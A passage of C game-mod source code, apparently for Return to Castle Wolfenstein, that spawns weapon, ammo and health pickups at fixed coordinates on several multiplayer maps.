spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = -181;
spawnorigin[1] = 2236;
spawnorigin[2] = 504;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -731;
spawnorigin[1] = 738;
spawnorigin[2] = 411;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 960;
spawnorigin[1] = 3465;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 960;
spawnorigin[1] = 3465;
spawnorigin[2] = 547;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1721;
spawnorigin[1] = 950;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Thompson");
spawnorigin[0] = 1721;
spawnorigin[1] = 313;
spawnorigin[2] = 420;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = -439;
spawnorigin[1] = 168;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = 1426;
spawnorigin[1] = -1162;
spawnorigin[2] = 512;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapple");
spawnorigin[0] = 1673;
spawnorigin[1] = -835;
spawnorigin[2] = 452;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1601;
spawnorigin[1] = -1567;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
}else if (!Q_stricmp(mapName, "mp_destruction")){
item = BG_FindItem("Mp40");
spawnorigin[0] = 1248;
spawnorigin[1] = 3856;
spawnorigin[2] = -303;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 2510;
spawnorigin[1] = 2387;
spawnorigin[2] = -245;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 2715;
spawnorigin[1] = 4379;
spawnorigin[2] = -263;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 2714;
spawnorigin[1] = 4349;
spawnorigin[2] = -286;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 2711;
spawnorigin[1] = 4313;
spawnorigin[2] = -303;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 2723;
spawnorigin[1] = 4405;
spawnorigin[2] = -255;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = 2684;
spawnorigin[1] = 4056;
spawnorigin[2] = -267;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Venom");
spawnorigin[0] = 2688;
spawnorigin[1] = 4102;
spawnorigin[2] = -296;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Venom");
spawnorigin[0] = 2719;
spawnorigin[1] = 4007;
spawnorigin[2] = -239;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 2708;
spawnorigin[1] = 4166;
spawnorigin[2] = -329;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 2674;
spawnorigin[1] = 4170;
spawnorigin[2] = -334;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 2679;
spawnorigin[1] = 4223;
spawnorigin[2] = -335;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 2720;
spawnorigin[1] = 4221;
spawnorigin[2] = -335;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1474;
spawnorigin[1] = 723;
spawnorigin[2] = 438;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 2274;
spawnorigin[1] = 1798;
spawnorigin[2] = -295;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Venom");
spawnorigin[0] = 448;
spawnorigin[1] = -376;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Mp40");
spawnorigin[0] = 453;
spawnorigin[1] = 726;
spawnorigin[2] = -143;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = -669;
spawnorigin[1] = 989;
spawnorigin[2] = -175;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -1125;
spawnorigin[1] = 149;
spawnorigin[2] = -175;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = -1314;
spawnorigin[1] = -413;
spawnorigin[2] = -175;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = -137;
spawnorigin[1] = -1652;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1703;
spawnorigin[1] = -2707;
spawnorigin[2] = -111;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = 1595;
spawnorigin[1] = -1027;
spawnorigin[2] = -111;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Med Health");
spawnorigin[0] = 613;
spawnorigin[1] = 1080;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = 1394;
spawnorigin[1] = 498;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenades");
spawnorigin[0] = 765;
spawnorigin[1] = 1210;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1291;
spawnorigin[1] = 1211;
spawnorigin[2] = -103;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 2231;
spawnorigin[1] = 189;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = 3853;
spawnorigin[1] = 552;
spawnorigin[2] = -97;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 3518;
spawnorigin[1] = 1799;
spawnorigin[2] = -183;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = 3206;
spawnorigin[1] = 2810;
spawnorigin[2] = -183;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
}else if (!Q_stricmp(mapName, "mp_castle")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 1087;
spawnorigin[1] = 1375;
spawnorigin[2] = 547;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -119;
spawnorigin[1] = 62;
spawnorigin[2] = 128;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = 89;
spawnorigin[1] = 894;
spawnorigin[2] = -295;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Thompson");
spawnorigin[0] = 95;
spawnorigin[1] = 1599;
spawnorigin[2] = -55;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Thompson");
spawnorigin[0] = -375;
spawnorigin[1] = 1142;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 118;
spawnorigin[1] = 653;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = 401;
spawnorigin[1] = 1388;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Grenade");
spawnorigin[0] = 401;
spawnorigin[1] = 1155;
spawnorigin[2] = 332;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Sten");
spawnorigin[0] = 1079;
spawnorigin[1] = 1872;
spawnorigin[2] = 296;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1088;
spawnorigin[1] = 908;
spawnorigin[2] = 296;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 624;
spawnorigin[1] = 1153;
spawnorigin[2] = 496;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = 390;
spawnorigin[1] = 867;
spawnorigin[2] = 488;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -127;
spawnorigin[1] = 874;
spawnorigin[2] = 535;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = -548;
spawnorigin[1] = 24;
spawnorigin[2] = 340;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = 289;
spawnorigin[1] = 108;
spawnorigin[2] = 344;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = -269;
spawnorigin[1] = -777;
spawnorigin[2] = 440;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -449;
spawnorigin[1] = -368;
spawnorigin[2] = -303;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 192;
spawnorigin[1] = -358;
spawnorigin[2] = -303;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -126;
spawnorigin[1] = 68;
spawnorigin[2] = -359;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = 490;
spawnorigin[1] = 70;
spawnorigin[2] = -354;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = -130;
spawnorigin[1] = -787;
spawnorigin[2] = -327;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = 10;
spawnorigin[1] = 1660;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -41;
spawnorigin[1] = 1660;
spawnorigin[2] = -241;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -13;
spawnorigin[1] = 1667;
spawnorigin[2] = -241;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Grenade");
spawnorigin[0] = 1387;
spawnorigin[1] = 1897;
spawnorigin[2] = 454;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 1484;
spawnorigin[1] = 63;
spawnorigin[2] = 128;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Thompson");
spawnorigin[0] = 850;
spawnorigin[1] = 549;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = 1545;
spawnorigin[1] = 825;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Med Health");
spawnorigin[0] = 761;
spawnorigin[1] = 1537;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = 1424;
spawnorigin[1] = 1535;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 747;
spawnorigin[1] = 1149;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1424;
spawnorigin[1] = 1150;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = 1084;
spawnorigin[1] = 912;
spawnorigin[2] = 56;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
}else if (!Q_stricmp(mapName, "mp_depot")){
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -11088;
spawnorigin[1] = 4352;
spawnorigin[2] = -271;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -7095;
spawnorigin[1] = 2897;
spawnorigin[2] = -271;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -11711;
spawnorigin[1] = 3846;
spawnorigin[2] = -735;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Mp40");
spawnorigin[0] = -12199;
spawnorigin[1] = 4200;
spawnorigin[2] = -543;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -12600;
spawnorigin[1] = 3846;
spawnorigin[2] = -271;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Pineapple");
spawnorigin[0] = -12784;
spawnorigin[1] = 4849;
spawnorigin[2] = -39;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mp40");
spawnorigin[0] = -13278;
spawnorigin[1] = 5675;
spawnorigin[2] = 616;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -11836;
spawnorigin[1] = 6018;
spawnorigin[2] = 616;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenade");
spawnorigin[0] = -12265;
spawnorigin[1] = 5822;
spawnorigin[2] = 428;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -12525;
spawnorigin[1] = 6107;
spawnorigin[2] = 260;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Pineapples");
spawnorigin[0] = -11814;
spawnorigin[1] = 5823;
spawnorigin[2] = 8;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Sten");
spawnorigin[0] = -12103;
spawnorigin[1] = 4869;
spawnorigin[2] = 0;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = -11818;
spawnorigin[1] = 5634;
spawnorigin[2] = -270;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenade");
spawnorigin[0] = -12524;
spawnorigin[1] = 6108;
spawnorigin[2] = 8;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -12248;
spawnorigin[1] = 5328;
spawnorigin[2] = -735;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -12256;
spawnorigin[1] = 5555;
spawnorigin[2] = -735;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -10497;
spawnorigin[1] = 3435;
spawnorigin[2] = -735;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("<NAME>");
spawnorigin[0] = -10305;
spawnorigin[1] = 3132;
spawnorigin[2] = -735;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Thompson");
spawnorigin[0] = -11031;
spawnorigin[1] = 3330;
spawnorigin[2] = -250;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mp40");
spawnorigin[0] = -9690;
spawnorigin[1] = 4158;
spawnorigin[2] = -135;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -9368;
spawnorigin[1] = 3500;
spawnorigin[2] = -271;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenade");
spawnorigin[0] = -9149;
spawnorigin[1] = 3200;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -8583;
spawnorigin[1] = 2826;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Sten");
spawnorigin[0] = -6773;
spawnorigin[1] = 1775;
spawnorigin[2] = -255;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -8037;
spawnorigin[1] = 3168;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -8039;
spawnorigin[1] = 3234;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Mp40");
spawnorigin[0] = -8324;
spawnorigin[1] = 3207;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -8210;
spawnorigin[1] = 2219;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Mauser Rifle");
spawnorigin[0] = -8349;
spawnorigin[1] = 1598;
spawnorigin[2] = -359;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = -7797;
spawnorigin[1] = 1625;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapple");
spawnorigin[0] = -9405;
spawnorigin[1] = 1676;
spawnorigin[2] = -231;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mp40");
spawnorigin[0] = -9963;
spawnorigin[1] = 2245;
spawnorigin[2] = -223;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Sten");
spawnorigin[0] = -10269;
spawnorigin[1] = 2768;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Mp40");
spawnorigin[0] = -6837;
spawnorigin[1] = 4078;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -6589;
spawnorigin[1] = 3040;
spawnorigin[2] = -235;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Grenades");
spawnorigin[0] = -5832;
spawnorigin[1] = 1943;
spawnorigin[2] = -223;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Thompson");
spawnorigin[0] = -8635;
spawnorigin[1] = 3010;
spawnorigin[2] = 88;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
}else if (!Q_stricmp(mapName, "mp_village")){
item = BG_FindItem("Flamethrower");
spawnorigin[0] = -2134;
spawnorigin[1] = -651;
spawnorigin[2] = 336;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 75;
spawnitem->item->quantity = 75;
item = BG_FindItem("Panzerfaust");
spawnorigin[0] = -383;
spawnorigin[1] = 4350;
spawnorigin[2] = 200;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 2;
spawnitem->item->quantity = 2;
item = BG_FindItem("Venom");
spawnorigin[0] = -72;
spawnorigin[1] = 203;
spawnorigin[2] = -175;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 250;
spawnitem->item->quantity = 250;
item = BG_FindItem("Mp40");
spawnorigin[0] = -954;
spawnorigin[1] = -499;
spawnorigin[2] = -151;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Thompson");
spawnorigin[0] = -41;
spawnorigin[1] = -1086;
spawnorigin[2] = -202;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 60;
spawnitem->item->quantity = 60;
item = BG_FindItem("Sten");
spawnorigin[0] = -1569;
spawnorigin[1] = -962;
spawnorigin[2] = -159;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Pineapple");
spawnorigin[0] = -2236;
spawnorigin[1] = 35;
spawnorigin[2] = -159;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Med Health");
spawnorigin[0] = 1425;
spawnorigin[1] = -972;
spawnorigin[2] = -123;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = 1454;
spawnorigin[1] = -943;
spawnorigin[2] = -123;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Grenade");
spawnorigin[0] = -130;
spawnorigin[1] = 192;
spawnorigin[2] = 239;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 1;
spawnitem->item->quantity = 1;
item = BG_FindItem("Mp40");
spawnorigin[0] = -2606;
spawnorigin[1] = 1493;
spawnorigin[2] = 61;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("<NAME>");
spawnorigin[0] = -2605;
spawnorigin[1] = 917;
spawnorigin[2] = 16;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 12;
spawnitem->item->quantity = 12;
item = BG_FindItem("Mp40");
spawnorigin[0] = -2027;
spawnorigin[1] = 1211;
spawnorigin[2] = -159;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 64;
spawnitem->item->quantity = 64;
item = BG_FindItem("Grenades");
spawnorigin[0] = -2440;
spawnorigin[1] = 1099;
spawnorigin[2] = -151;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Grenades");
spawnorigin[0] = -717;
spawnorigin[1] = -524;
spawnorigin[2] = 32;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
spawnitem->count = 4;
spawnitem->item->quantity = 4;
item = BG_FindItem("Med Health");
spawnorigin[0] = -2122;
spawnorigin[1] = 2950;
spawnorigin[2] = -95;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
spawnorigin[0] = -1271;
spawnorigin[1] = 2938;
spawnorigin[2] = -95;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Ammo Pack");
spawnorigin[0] = -1266;
spawnorigin[1] = 2820;
spawnorigin[2] = -95;
spawnitem = LaunchItem(item, spawnorigin, launchvel, 99);
item = BG_FindItem("Med Health");
